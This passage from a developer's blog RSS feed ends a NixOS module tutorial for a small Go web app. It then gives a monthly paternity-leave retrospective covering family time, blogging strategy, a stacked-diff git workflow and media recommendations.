&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, in the Nix file for my host (located at &lt;code>./hosts/nixon/default.nix&lt;/code> relative to my NixOS system root flake), I have this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> networking.hostName = &lt;span style="color:#ed9d13">&amp;#34;nixon&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> services.basic-go-web-app = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> enable = &lt;span style="color:#40ffff">true&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> port = &lt;span style="color:#3677a9">3000&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> networking.firewall.allowedTCPPorts = [&lt;span style="color:#3677a9">3000&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> system.stateVersion = &lt;span style="color:#ed9d13">&amp;#34;24.05&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, it&amp;rsquo;s the moment of truth. It&amp;rsquo;s time to rebuild my host with my &lt;code>basic-go-web-app&lt;/code> NixOS module enabled:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild switch --flake &lt;span style="color:#ed9d13">&amp;#34;.#&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That succeeded, so I&amp;rsquo;ll check the systemd logs for the new service:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ journalctl -u basic-go-web-app
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Dec &lt;span style="color:#3677a9">01&lt;/span> 10:20:53 nixon systemd[1]: Started Basic Go Web App Service.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Dec &lt;span style="color:#3677a9">01&lt;/span> 10:20:53 nixon basic-go-web-app[186195]: listening on :3000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The logs say the service is running, so I try calling it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl localhost:3000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Time: 2024-12-01 10:28:46 AM (EST)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hostname: nixon
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Username: basic-go-web-app
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Local IP: 10.0.0.31
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Compiled with: go1.23.2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s running!&lt;/p>
&lt;p>Note that now, it runs under the username &lt;code>basic-go-web-app&lt;/code> instead of my dev username of &lt;code>mike&lt;/code>.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>The full source for this example is available on Codeberg:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://codeberg.org/mtlynch/basic-go-web-app">https://codeberg.org/mtlynch/basic-go-web-app&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>The web app I showed is simple and small, but I have real utilities that are about similar in complexity. The difficult part has been finding a way to run the services all the time without adding extra work for packaging or maintenance.&lt;/p>
&lt;p>I only just started using NixOS modules to manage my personal services, but I&amp;rsquo;m excited at how well they work for so little investment.&lt;/p></content:encoded></item><item><title>Paternity Leave: Month 3</title><link>https://mtlynch.io/retrospectives/2024/11/</link><pubDate>Tue, 19 Nov 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/11/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m finding it easier to balance my time as a new father.&lt;/li>
&lt;li>I moped about two of my blog posts doing poorly, and then they did well.&lt;/li>
&lt;li>I experimented with a stacked diff workflow for software development and liked it except for git&amp;rsquo;s weaknesses.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="enjoy-family-time">Enjoy family time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Enjoyed time with my wife and son.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I found it helpful to remind myself that even when it seems like I&amp;rsquo;m going long stretches without working, I&amp;rsquo;m making that choice, and I&amp;rsquo;m still mostly in control of my time.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m finding it easier to balance my time as a new father.&lt;/li>
&lt;li>I moped about two of my blog posts doing poorly, and then they did well.&lt;/li>
&lt;li>I experimented with a stacked diff workflow for software development and liked it except for git&amp;rsquo;s weaknesses.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="enjoy-family-time">Enjoy family time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Enjoyed time with my wife and son.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I found it helpful to remind myself that even when it seems like I&amp;rsquo;m going long stretches without working, I&amp;rsquo;m making that choice, and I&amp;rsquo;m still mostly in control of my time.&lt;/p>
&lt;p>I&amp;rsquo;m still finding the right balance between work and family time, and things continue to feel better.&lt;/p>
&lt;h3 id="publish-my-tutorial-on-fuzz-testing-with-nix">Publish my tutorial on fuzz testing with Nix&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I finally &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">finished the post&lt;/a>, but it didn&amp;rsquo;t get much traction.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;h2 id="easing-back-into-work">Easing back into work&lt;/h2>
&lt;p>When I sat down to write this retrospective, it seemed like my anxiety around not having time to work was such a distant memory. I thought it must have been two months ago, so I was surprised to see that was actually my most recent retrospective.&lt;/p>
&lt;p>Fortunately, I&amp;rsquo;m feeling much more relaxed about the balance of time with my family. I&amp;rsquo;ve enjoyed a lot of family time while also &lt;a href="#what-got-done">publishing more writing&lt;/a> than ever before.&lt;/p>
&lt;p>A few factors that influenced this:&lt;/p>
&lt;h3 id="my-son-sleeps-better-at-night">My son sleeps better at night&lt;/h3>
&lt;p>He was initially waking up three or four times per night and eating for 60-90 minutes per wakeup, but now he only wakes up two or three times per night and goes back to sleep within 15 to 60 minutes.&lt;/p>
&lt;p>Last night, he slept the full night (7 hours 45 minutes), which was exciting.&lt;/p>
&lt;h3 id="were-getting-more-help-from-family">We&amp;rsquo;re getting more help from family&lt;/h3>
&lt;p>As my son has gotten older, we&amp;rsquo;re more comfortable having family come over and care for him without us. We now have about five hours of help per week, and that will probably keep increasing, as our families are willing to help even more than they currently are.&lt;/p>
&lt;h3 id="my-son-can-nap-while-i-work">My son can nap while I work&lt;/h3>
&lt;p>My son sleeps for longer stretches when someone is holding him or he&amp;rsquo;s in a chest carrier, so I typically work for one to three hours per day with him on my chest. It gives my wife a break because it&amp;rsquo;s a multi-hour stretch where she has time to herself.&lt;/p>
&lt;h3 id="i-have-guaranteed-work-time">I have guaranteed work time&lt;/h3>
&lt;p>I find it difficult to work on an inconsistent schedule. Even though there are lots of time when my wife is caring for our son or he&amp;rsquo;s asleep on my chest, knowing they might suddenly need me makes it harder to focus.&lt;/p>
&lt;p>My wife offered to give me a guaranteed 90-minute block of focus time each day, which has helped with focus. It&amp;rsquo;s also good to know that I have it each day, so I can reserve certain high-focus tasks for that time block.&lt;/p>
&lt;h2 id="am-i-over-investing-in-blog-posts">Am I over-investing in blog posts?&lt;/h2>
&lt;p>I used to have a bad habit where every time I learned something difficult, I felt like I absolutely had to write a blog post explaining it.&lt;/p>
&lt;p>I tried to polish every post to the best it could be, even if the audience for the article was tiny or if I had no way of reaching readers. Previous examples include &lt;a href="https://mtlynch.io/hiring-content-writers/">&amp;ldquo;Hiring Content Writers: A Guide for Small Businesses&amp;rdquo;&lt;/a> (there&amp;rsquo;s an audience, but I don&amp;rsquo;t have a good way of reaching them) and &lt;a href="https://mtlynch.io/retrofit-docker-gcs/">&amp;ldquo;Retrofitting Apps for Cloud Storage with Zero Code Changes&amp;rdquo;&lt;/a> (very niche and not interesting outside of my strange use-case).&lt;/p>
&lt;p>I&amp;rsquo;ve spoken to readers who appreciated those articles, but I also have to consider the opportunity cost. In the time I spent writing them, was there another article that would have reached more readers or provided more value in aggregate?&lt;/p>
&lt;p>I&amp;rsquo;ve since become more strategic in my posts. If I don&amp;rsquo;t think an article can reach a critical mass of readers, I either don&amp;rsquo;t write it or I write a quick &amp;rsquo;n dirty version in my &lt;a href="https://mtlynch.io/notes/">&amp;ldquo;Notes&amp;rdquo; section&lt;/a>.&lt;/p>
&lt;h3 id="heading">&lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">&amp;ldquo;Using Nix to Fuzz Test a PDF Parser&amp;rdquo;&lt;/a>&lt;/h3>
&lt;p>I feel conflicted about how much time I invested into this post.&lt;/p>
&lt;p>Writing the article taught me a lot about Nix and fuzz testing, but it took me longer than I expected. At first, I thought, &amp;ldquo;Oh, I can do a quick writeup in a few hours,&amp;rdquo; but I ended up spending 20+ hours on it.&lt;/p>
&lt;p>It&amp;rsquo;s also discouraging to write software tutorials in the age of LLMs. Up until a few years ago, there was a long-term return on tutorials, as people would discover them through web searches later. These days, if I write a niche tutorial, LLMs will just steal whatever I write, and the reader will have no idea it came from me.&lt;/p>
&lt;h3 id="heading-1">&lt;a href="https://mtlynch.io/lessons-from-my-first-exit/">&amp;ldquo;Lessons from my First Exit&amp;rdquo;&lt;/a>&lt;/h3>
&lt;p>I knew from the start that this was a risky post because it has a few things working against it:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s about nitty-gritty details of selling a business, which 99% of my readers have no plans to do.
&lt;ul>
&lt;li>My previous post about the sale got traction, but that was a story so readers could enjoy the ride even if they weren&amp;rsquo;t interested in doing it themselves.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It&amp;rsquo;s super long.
&lt;ul>
&lt;li>I aim for each blog post to be about 10 minutes of reading time, and that one is an estimated 33-minute read.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The only channel social media channel where it had a decent shot was Hacker News.&lt;/li>
&lt;/ul>
&lt;p>I submitted it to Hacker News, but it didn&amp;rsquo;t make the front page at all.&lt;/p>
&lt;p>I think it still has a decent shot of getting traction on Hacker News, but even it flops entirely, I&amp;rsquo;m still happy about writing it. It helped me think through the acquisition for myself, and it will be a useful reference if I ever sell another business. I&amp;rsquo;ve gotten positive feedback about it from founders who have been through an acquisition or are thinking about it.&lt;/p>
&lt;h2 id="and-suddenly-those-posts-got-traction">And suddenly, those posts got traction&lt;/h2>
&lt;p>After I wrote the above, I realized that &lt;a href="https://hackaday.com/2024/11/09/nix-automated-fuzz-testing-finds-bug-in-pdf-parser/">Hackaday wrote about my Nix fuzzing tutorial&lt;/a>, which is validating.&lt;/p>
&lt;p>And then the day after I wrote the section about &amp;ldquo;Lessons from my First Exit&amp;rdquo; flopping, a reader submitted it to Hacker News again, and &lt;a href="https://news.ycombinator.com/item?id=42133864">it reached #2&lt;/a>.&lt;/p>
&lt;p>Still, I think my initial analysis was correct. I overinvested in the fuzzing post and invested the right amount into the one about selling TinyPilot.&lt;/p>
&lt;h2 id="implementing-major-features-through-stacked-diffs">Implementing major features through stacked diffs&lt;/h2>
&lt;p>For the past few weeks, I&amp;rsquo;ve spent most of my hobby programming time on &lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a>, my TV and movie review web app. The idea of it is like letterboxd or Goodreads, but the reviews are only visible to your friends, and the code is open-source.&lt;/p>
&lt;figure class="img">
&lt;img class="img-border" src="https://raw.githubusercontent.com/mtlynch/screenjournal/refs/heads/master/docs/assets/screenjournal-demo.webp" alt="Animated demo of a user reviewing Weird: The Al Yankovic Story on ScreenJournal>
&lt;figcaption>&lt;p>&lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a>, my open-source TV and movie review web app&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;p>I always wanted ScreenJournal to support both movies and TV shows, but I implemented movies first because they were simpler. I intentionally didn&amp;rsquo;t generalize the code to support TV shows. I didn&amp;rsquo;t know if it would ever happen, so I wanted to optimize for the functionality that was there.&lt;/p>
&lt;p>In October, I added support for reviewing TV show, so I had to correct a lot of assumptions in the codebase about the reviews always being of movies.&lt;/p>
&lt;p>The &lt;a href="https://github.com/mtlynch/screenjournal/pull/359">full change&lt;/a> ended up hitting 2k lines of code, which is a bit unwieldy to understand in a single changelist. I&amp;rsquo;m using the term &amp;ldquo;changelist,&amp;rdquo; but I&amp;rsquo;m talking about something like a pull request in GitHub terms or a merge request in GitLab terms.&lt;/p>
&lt;p>In the past, the way I&amp;rsquo;ve tackled large changes like this is that I have a feature branch that&amp;rsquo;s in a broken or incomplete state until I finish the feature. I either make changes directly into the feature branch, or I branch off that feature branch again for a subtask and then merge in the subtask when I&amp;rsquo;m done.&lt;/p>
&lt;p>The problem with this approach is that the feature branch becomes a giant blob of changes that are too large to understand. You can see an example of this &lt;a href="https://github.com/mtlynch/whatgotdone/pull/639">when I migrated What Got Done from Firestore to SQLite&lt;/a>. There were lots of substeps within that change, but they&amp;rsquo;re not inspectable because everything is mixed together.&lt;/p>
&lt;p>So, for this ScreenJournal change, I tried something different. Instead of keeping a big, messy feature branch, I did stacked diffs.&lt;/p>
&lt;div class="notice notice-info">
 &lt;!-- markdownlint-disable MD001 heading-increment -->
&lt;h5 id="whats-a-stacked-diff">What&amp;rsquo;s a stacked diff?&lt;/h5>
&lt;!-- markdownlint-enable MD001 heading-increment -->
&lt;p>Stacked diffs are where you have a &lt;code>main&lt;/code> branch, and you want to merge in a large feature, so you break the feature into change &lt;code>A&lt;/code>, &lt;code>B&lt;/code>, and &lt;code>C&lt;/code>. You create &lt;code>A&lt;/code> by branching off of &lt;code>main&lt;/code>, create &lt;code>B&lt;/code> by branching off of &lt;code>A&lt;/code>, etc.&lt;/p>
&lt;p>GitHub has okay support for stacked diffs in that if your stack is &lt;code>A&lt;/code>, &lt;code>B&lt;/code>, &lt;code>C&lt;/code>, you&amp;rsquo;d make a PR from &lt;code>A&lt;/code> into &lt;code>main&lt;/code>, then a PR from &lt;code>B&lt;/code> into &lt;code>A&lt;/code>. When you merge in the &lt;code>A&lt;/code> into &lt;code>main&lt;/code> PR, the &lt;code>B&lt;/code> into &lt;code>A&lt;/code> PR automatically updates to a &lt;code>B&lt;/code> into &lt;code>main&lt;/code> PR.&lt;/p>

&lt;/div>

&lt;p>I broke up the work by making a changelist for each page in the TV show review flow.&lt;/p>
&lt;p>The first step of leaving a review is to search for the thing you want to review. It used to only be movies, so my first step in supporting TV shows was to &lt;a href="https://github.com/mtlynch/screenjournal/pull/329/files">add a radio button&lt;/a> that let the user choose between a movie or TV show:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/11/movie-or-tv.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/11/movie-or-tv_hu_df08538f243128c2.webp 300w, https://mtlynch.io/retrospectives/2024/11/movie-or-tv_hu_9efe0b9170c8a2cd.webp 600w, https://mtlynch.io/retrospectives/2024/11/movie-or-tv_hu_7079b93bbbe7813.webp 800w, https://mtlynch.io/retrospectives/2024/11/movie-or-tv.webp 814w'
 src="https://mtlynch.io/retrospectives/2024/11/movie-or-tv.webp" alt="Screenshot of radio button for TV vs Movies added to the title search screen of ScreenJournal" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My first task was to modify the title search UI to support TV shows.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The next thing I needed was a way for the user to pick a TV show season, as that&amp;rsquo;s something that I didn&amp;rsquo;t have when it was movies only. So, &lt;a href="https://github.com/mtlynch/screenjournal/pull/342">that was its own change&lt;/a>.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/11/pick-season.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/11/pick-season_hu_ef5e60374631a99d.webp 300w, https://mtlynch.io/retrospectives/2024/11/pick-season_hu_2295b52c9e877859.webp 600w, https://mtlynch.io/retrospectives/2024/11/pick-season.webp 774w'
 src="https://mtlynch.io/retrospectives/2024/11/pick-season.webp" alt="Screenshot of TV season picker screen from ScreenJournal" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My second task was to implement a web UI for picking the season of the TV show to review.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I kept going like that, where each stage of the flow was a new branch and separate pull request.&lt;/p>
&lt;p>Here are some takeaways from that style of development.&lt;/p>
&lt;h3 id="good-stacked-diffs-motivate-me-better">Good: Stacked diffs motivate me better&lt;/h3>
&lt;p>The nice thing about stacked diffs is that each subtask of a feature is its own changelist.&lt;/p>
&lt;p>Breaking the change into smaller pieces gave me a better sense of accomplishment and progress. It&amp;rsquo;s satisfying to finish a changelist and know that it&amp;rsquo;s 100% done rather than having one big messy branch where completing a subtask moves the feature from 30% to 35% complete.&lt;/p>
&lt;h3 id="bad-i-constantly-have-to-delete-change-history">Bad: I constantly have to delete change history&lt;/h3>
&lt;p>The thing I dislike most about the stacked diff workflow is that I end up deleting source history, which negates a big benefit of source control.&lt;/p>
&lt;p>Whenever I realize I should have made a change earlier in the stack, I have to do &lt;code>git rebase&lt;/code>, which rewrites history. That means I have to force push to GitHub, which litters my changelist with all these ugly &lt;code>force-pushed&lt;/code> entries:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/11/force-pushes.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/11/force-pushes_hu_3f52c4f54b4c9fd1.webp 300w, https://mtlynch.io/retrospectives/2024/11/force-pushes_hu_ea54a911cb7e59e4.webp 600w, https://mtlynch.io/retrospectives/2024/11/force-pushes_hu_fce7f34a305b5e7a.webp 800w, https://mtlynch.io/retrospectives/2024/11/force-pushes.webp 924w'
 src="https://mtlynch.io/retrospectives/2024/11/force-pushes.webp" alt="Screenshot of a GitHub PR showing lots of force-pushed entries" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Rebasing frequently in git causes ugly &lt;code>force-pushed&lt;/code> entries to litter my changelist on GitHub&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I know some people want all of their changes preserved exactly as they occurred as if each commit was evidence in a murder trial. I don&amp;rsquo;t care about that, but I do want a sensible undo history in case I make a mistake. I don&amp;rsquo;t like that force pushes overwrite the undo history on the remote end and require complicated surgery to recover from the local end.&lt;/p>
&lt;h3 id="good---update-refs-simplifies-rebasing-stacked-diffs">Good: &lt;code>--update-refs&lt;/code> simplifies rebasing stacked diffs&lt;/h3>
&lt;p>As I was experimenting with the stacked diffs workflow, I &lt;a href="https://andrewlock.net/working-with-stacked-branches-in-git-is-easier-with-update-refs/">found out about git&amp;rsquo;s &lt;code>--update-refs&lt;/code> flag&lt;/a>, which lets you rebase multiple branches at once.&lt;/p>
&lt;p>That trick makes stacked diffs easier because I was previously rebasing each branch in order, which got painfully tedious after I had four branches in the stack.&lt;/p>
&lt;h3 id="bad-pushing-after---update-refs-is-still-hard">Bad: Pushing after &lt;code>--update-refs&lt;/code> is still hard&lt;/h3>
&lt;p>If I have branches &lt;code>A&lt;/code>, &lt;code>B&lt;/code>, and &lt;code>C&lt;/code>, and I rebase all of them at once, the git output looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ git rebase master --update-refs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Successfully rebased and updated refs/heads/C.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Updated the following refs with --update-refs:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> refs/heads/A
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> refs/heads/B
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>While &lt;code>--update-refs&lt;/code> simplifies the rebase action, there&amp;rsquo;s no &amp;ldquo;okay, now push the branches I just rebased&amp;rdquo; command. Instead, I have to copy the output from git into a text editor, edit to pull out the branch names, then put it back into a command like &lt;code>git push origin A B C -f&lt;/code>. It&amp;rsquo;s an annoying process that always interrupts my flow.&lt;/p>
&lt;h3 id="bad-i-frequently-land-in-an-unexpected-git-state">Bad: I frequently land in an unexpected git state&lt;/h3>
&lt;p>Even though I thought I was rebasing in the correct way, I frequently found myself in a confusing state. Like I&amp;rsquo;d rebase, and then it would want me to reconcile conflicts that I&amp;rsquo;d already reconciled.&lt;/p>
&lt;p>I worked around this by squashing commits and rebasing again, but this again rewrites history and makes it harder to undo mistakes. I was also annoyed at the mental bandwidth I wasted thinking about how to apologize properly to git rather than writing my code.&lt;/p>
&lt;h3 id="maybe-i-should-give-jujutsu-a-try">Maybe I should give jujutsu a try&lt;/h3>
&lt;p>I&amp;rsquo;m seeing more and more chatter about &lt;a href="https://github.com/martinvonz/jj">jujutsu&lt;/a>, a new source control system that&amp;rsquo;s on track to become standard within Google.&lt;/p>
&lt;p>A few months ago, I thought about trying it and thought, &amp;ldquo;Eh, git does what I need. Why chase after the next shiny thing?&amp;rdquo; But then I had this experience with git rebase and remembered that I&amp;rsquo;ve accepted so many frustrating git experiences as normal.&lt;/p>
&lt;p>From skimming Steve Kalabnik&amp;rsquo;s tutorial, it sounds like jujutsu &lt;a href="https://steveklabnik.github.io/jujutsu-tutorial/advanced/simultaneous-edits.html">supports stacked diffs and multi-rebase better than git does&lt;/a>.&lt;/p>
&lt;h2 id="recommendations">Recommendations&lt;/h2>
&lt;h3 id="-by-jonas-hietala">&lt;a href="https://www.jonashietala.se/blog/2024/09/25/why_i_still_blog_after_15_years">&amp;ldquo;Why I still blog after 15 years&amp;rdquo;&lt;/a> by Jonas Hietala&lt;/h3>
&lt;p>I related a lot to this post about blogging. As I explored Jonas&amp;rsquo; site more, I was like, &amp;ldquo;Oh, this guy is like the Swedish version of me.&amp;rdquo; So if you enjoy my writing, you&amp;rsquo;d probably enjoy his as well.&lt;/p>
&lt;h3 id="-by-matt-lakeman">&lt;a href="https://mattlakeman.org/2022/05/15/notes-on-ukraine/">&amp;ldquo;Notes on Ukraine&amp;rdquo;&lt;/a> by Matt Lakeman&lt;/h3>
&lt;p>I discovered Matt&amp;rsquo;s blog last week, and every day since then, I keep thinking, &amp;ldquo;Who is this guy?&amp;rdquo;&lt;/p>
&lt;p>Matt travels to not-so-popular destinations, usually for ten days or so and then publishes a blog post about the country. But it&amp;rsquo;s not like postcard-to-your-mom blog posts; these are novella-length articles based on hours of study of the history of the country and conversations with locals.&lt;/p>
&lt;p>I also discovered that Matt has a long posting history elsewhere on the Internet under the username &lt;code>dormin111&lt;/code>, such as this &lt;a href="https://old.reddit.com/r/slatestarcodex/comments/binx8k/disaster_artist_insanity_is_no_shortcut_to/">detailed analysis of the movie &lt;em>The Disaster Artist&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The craziest thing about all his work is that there&amp;rsquo;s seemingly no angle. Usually, when you see someone invest so much into their writing, it&amp;rsquo;s usually obvious how it benefits them: they have a Substack or &lt;a href="https://mtlynch.io/retrospectives/2024/09/#what-should-i-do-with-my-hacker-news-course">some paid course&lt;/a> that earns them money, and their free articles are &lt;a href="https://en.wikipedia.org/wiki/Loss_leader">loss leaders&lt;/a>. But I can&amp;rsquo;t find any angle or profit motive in any of Lakeman&amp;rsquo;s stuff. He seems to just love &lt;a href="https://mattlakeman.org/2020/10/06/thoughts-on-meaning-and-writing/">thinking deeply about things and sharing his thoughts&lt;/a>.&lt;/p>
&lt;p>Anyway, back to this Ukraine post. I assumed that he visited before the war, but it turned out that he visited two months after the war began and interviewed soldiers and civilians within miles of the front lines. I found it interesting to see coverage of the war from someone who&amp;rsquo;s not a career journalist but still interviewed a variety of real people in Ukraine. It feels like a more authentic and personal view into the situation than anything I&amp;rsquo;ve seen from traditional media channels.&lt;/p>
&lt;h3 id="cyberpunk-2077-video-game">&lt;em>Cyberpunk 2077&lt;/em> (video game)&lt;/h3>
&lt;p>I don&amp;rsquo;t play video games much. I buy one new game per year and it play until I get bored, which usually takes 5-25 hours over a few days. I&amp;rsquo;m at about 25 hours of play with this game, and I&amp;rsquo;m still enjoying it.&lt;/p>
&lt;p>I find the depth astounding. I think I&amp;rsquo;ve only explored like 5% of the game despite 25 hours of playing, so it amazes me that modern games have such expansive worlds.&lt;/p>
&lt;p>I usually don&amp;rsquo;t care about stories in video games and find it irritating when the game makes me sit through boring exposition, but &lt;em>Cyberpunk&lt;/em> is one of the few games where I find the story compelling enough to pay attention. And it&amp;rsquo;s cool to see them invest so much into voice acting that Keanu Reeves plays a major role in the game.&lt;/p>
&lt;h3 id="detroiters-tv-show">&lt;em>Detroiters&lt;/em> (TV show)&lt;/h3>
&lt;p>I&amp;rsquo;d heard of this show, but I think the name always dissuaded me from watching. A show where the defining feature is that the characters live in Detroit? Sounds boring.&lt;/p>
&lt;p>And then I saw &lt;a href="https://www.youtube.com/watch?v=yWBqnpCCasg">this clip&lt;/a> from the show and realized that great people are in it, and the tone is like a slightly more grounded version of &lt;em>I Think You Should Leave&lt;/em> in sitcom format. I just finished season 1, and I thought it was great.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/11/detroiters.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/11/detroiters_hu_1a25bf9472402370.webp 300w, https://mtlynch.io/retrospectives/2024/11/detroiters_hu_b57cb6dcd8bc44e4.webp 600w, https://mtlynch.io/retrospectives/2024/11/detroiters_hu_dc102037dbcbabcb.webp 800w, https://mtlynch.io/retrospectives/2024/11/detroiters_hu_68592ebcf7a6485a.webp 1200w, https://mtlynch.io/retrospectives/2024/11/detroiters.webp 1920w'
 src="https://mtlynch.io/retrospectives/2024/11/detroiters.webp" alt="Still from Detroiters showing Tim Robinson and Sam Richardson eating chips in front of an unconscious Jason Sudeikis" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;em>Detroiters&lt;/em> is a slightly more grounded version of &lt;em>I Think You Should Leave&lt;/em> in sitcom format.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published two full-length articles:
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/lessons-from-my-first-exit/">&amp;ldquo;Lessons from my First Exit&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/nix-fuzz-testing-2/">&amp;ldquo;Using Nix to Fuzz Test a PDF Parser&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Published five short-form notes:
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/notes/delete-your-timestamps/">&amp;ldquo;Delete the Timestamps from your Static Blog&amp;rdquo;&lt;/a>&lt;/li>
